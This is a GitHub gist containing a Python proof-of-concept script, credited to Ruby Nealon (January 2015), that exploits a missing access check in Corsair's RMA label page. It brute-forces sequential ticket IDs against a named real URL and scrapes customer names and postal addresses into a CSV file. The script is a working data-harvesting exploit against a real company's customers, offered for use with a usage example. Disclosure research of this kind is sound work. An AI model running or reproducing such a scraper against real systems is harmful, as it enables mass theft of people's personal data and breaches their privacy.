Skip to content

Instantly share code, notes, and snippets.

@rubyroobs
Last active March 29, 2016 23:14
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save rubyroobs/acefb07e14c1492f0264 to your computer and use it in GitHub Desktop.
Save rubyroobs/acefb07e14c1492f0264 to your computer and use it in GitHub Desktop.
corsair.py - progressively dump Corsair's RMA database
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
###############################################################################
# Corsair RMA PoC Database Ripper
# By Ruby Nealon (rubymeow), Jan 2015
#
# Vulnerability:
# In the Corsair RMA label print page, it accepts a ticket ID as a GET param.
# but has no additional checks to ensure that a user has not changed the id.
#
# Because of this, it would be easy to dump a log of Corsair customer names and
# addresses by simply changing the ID paramter.
#
# This scripts accepts a lower and upper ID and bruteforces the form to attempt
# to dump as much user info as possible.
#
# Usage example:
# corsair.py 32000 33000 dump.txt
# 1st: lower ticket id
# 2nd: upper ticket id
# 3rd: output file
#
# Contact:
# Ruby Nealon <ruby@ruby.sh>
# https://ruby.sh
# https://github.com/rubymeow/
###############################################################################
from lxml import html
from tornado.httpclient import AsyncHTTPClient
from tornado import ioloop
import sys
import argparse
import codecs
def process(response):
tree = html.fromstring(response.body)
name = '\"' + \
str(tree.xpath('//*[@id="lblAddress"]/text()[1]'))[2:-2] + '\"'
if name == '\"null\"':
ioloop.IOLoop.instance().stop()
return
addr_1 = '\"' + \
str(tree.xpath('//*[@id="lblAddress"]/text()[2]'))[2:-2] + '\"'
addr_2 = '\"' + \
str(tree.xpath('//*[@id="lblAddress"]/text()[3]'))[2:-2] + '\"'
addr_3 = '\"' + \
str(tree.xpath('//*[@id="lblAddress"]/text()[4]'))[2:-2] + '\"'
addr_4 = '\"' + \
str(tree.xpath('//*[@id="lblAddress"]/text()[5]'))[2:-2] + '\"'
out.write(name + ',' + addr_1 + ',' + addr_2 +
',' + addr_3 + ',' + addr_4 + '\n')
ioloop.IOLoop.instance().stop()
# No HTTPS too... ¯\_(ツ)_/¯
BASE_URL = "http://www2.corsair.com/helpdesk/rma_form_noauth.aspx?&n=NULL&id="
parser = argparse.ArgumentParser()
parser.add_argument("lower", type=int, help="lower ticket id")
parser.add_argument("upper", type=int, help="upper ticket id")
parser.add_argument("output", help="output file for data")
args = parser.parse_args()
lower = args.lower
upper = args.upper
out = codecs.open(args.output, "w", "utf-8-sig")
if lower > upper:
print ("error: lower cannot be bigger than higher.")
sys.exit(2)
print ("Starting scan with lower %s and upper %s..." % (lower, upper))
http_client = AsyncHTTPClient()
http_client.max_clients = 3
out.write('name,address_1,address_2,address_3,address_4\n')
for i in range(lower, upper):
http_client.fetch(BASE_URL + str(i), process)
ioloop.IOLoop.instance().start()
out.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment